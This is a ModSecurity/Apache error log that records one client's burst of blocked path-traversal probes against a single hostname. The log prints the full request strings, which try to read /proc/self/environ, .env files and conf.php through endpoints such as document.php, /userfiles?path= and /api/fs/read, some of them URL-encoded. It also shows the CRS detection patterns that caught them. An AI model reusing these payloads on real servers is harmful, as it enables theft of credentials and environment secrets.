[Sun Oct 25 10:21:38.547421 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at4QcmfNJowUWx98rtMe-gAAABU"]
[Sun Oct 25 10:21:38.547462 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at4QcmfNJowUWx98rtMe-gAAABU"]
[Sun Oct 25 10:21:38.548230 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at4QcmfNJowUWx98rtMe-gAAABU"]
[Sun Oct 25 10:21:38.548486 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at4QcmfNJowUWx98rtMe-gAAABU"]
[Sun Oct 25 10:21:38.557805 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42736] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at4Qcug7UwOwl8XKB5KOKwAAAA8"]
[Sun Oct 25 10:21:38.658915 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at4Qcug7UwOwl8XKB5KOKwAAAA8"]
[Sun Oct 25 10:21:38.659199 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at4Qcug7UwOwl8XKB5KOKwAAAA8"]
[Sun Oct 25 10:21:38.558199 2026] [core:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] AH10244: invalid URI path (/static/../../../a/../../../../proc/self/environ)
[Sun Oct 25 10:21:38.558970 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at4QcqGxe7V6jzF5H8VNfwAAABg"]
[Sun Oct 25 10:21:38.675434 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at4QcqGxe7V6jzF5H8VNfwAAABg"]
[Sun Oct 25 10:21:38.675691 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at4QcqGxe7V6jzF5H8VNfwAAABg"]
[Sun Oct 25 10:21:38.559006 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4QckcC0oseVu5Uow-7PQAAABA"]
[Sun Oct 25 10:21:38.676676 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4QckcC0oseVu5Uow-7PQAAABA"]
[Sun Oct 25 10:21:38.676920 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at4QckcC0oseVu5Uow-7PQAAABA"]
[Sun Oct 25 10:21:38.598819 2026] [core:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] AH10244: invalid URI path (/static/../../../a/../../../../.env)
[Sun Oct 25 10:21:38.618777 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at4QchQ0jTZBi_DxXWPoLAAAAAk"]
[Sun Oct 25 10:21:38.678570 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at4QchQ0jTZBi_DxXWPoLAAAAAk"]
[Sun Oct 25 10:21:38.678819 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/fs/read"] [unique_id "at4QchQ0jTZBi_DxXWPoLAAAAAk"]
[Sun Oct 25 10:21:38.647277 2026] [security2:error] [pid 2847163:tid 2847163] [client 35.204.239.58:42768] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at4Qctz3UDOkuAqltv5VzQAAABY"]
[Sun Oct 25 10:21:38.679162 2026] [security2:error] [pid 2847163:tid 2847163] [client 35.204.239.58:42768] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cache/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at4Qctz3UDOkuAqltv5VzQAAABY"]
[Sun Oct 25 10:21:38.679306 2026] [security2:error] [pid 2847163:tid 2847163] [client 35.204.239.58:42768] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at4Qctz3UDOkuAqltv5VzQAAABY"]
[Sun Oct 25 10:21:38.679543 2026] [security2:error] [pid 2847163:tid 2847163] [client 35.204.239.58:42768] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/cache/.env"] [unique_id "at4Qctz3UDOkuAqltv5VzQAAABY"]
[Sun Oct 25 10:21:38.733312 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at4QchjDdGZa_VoIlCrpkQAAAAs"]
[Sun Oct 25 10:21:38.740113 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42774] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qckn6URg6zvHWvuwQdAAAABs"]
[Sun Oct 25 10:21:38.740174 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42774] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qckn6URg6zvHWvuwQdAAAABs"]
[Sun Oct 25 10:21:38.740208 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42774] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4Qckn6URg6zvHWvuwQdAAAABs"]
[Sun Oct 25 10:21:38.751684 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42752] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcqQMBVMuq7VW19AcBQAAAA4"]
[Sun Oct 25 10:21:38.841628 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42752] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcqQMBVMuq7VW19AcBQAAAA4"]
[Sun Oct 25 10:21:38.842187 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42752] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at4QcqQMBVMuq7VW19AcBQAAAA4"]
[Sun Oct 25 10:21:38.781692 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /%2e%2e/ found within REQUEST_URI_RAW: /cache/original/%2e%2e/%2e%2e/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4Qcos0PO57ZJRY6eGLmQAAAAg"]
[Sun Oct 25 10:21:38.849618 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4Qcos0PO57ZJRY6eGLmQAAAAg"]
[Sun Oct 25 10:21:38.849799 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4Qcos0PO57ZJRY6eGLmQAAAAg"]
[Sun Oct 25 10:21:38.850133 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4Qcos0PO57ZJRY6eGLmQAAAAg"]
[Sun Oct 25 10:21:38.791575 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42784] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcoxkYfnWL-SU_mhrjgAAAA0"]
[Sun Oct 25 10:21:38.852648 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42784] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at4QcoxkYfnWL-SU_mhrjgAAAA0"]
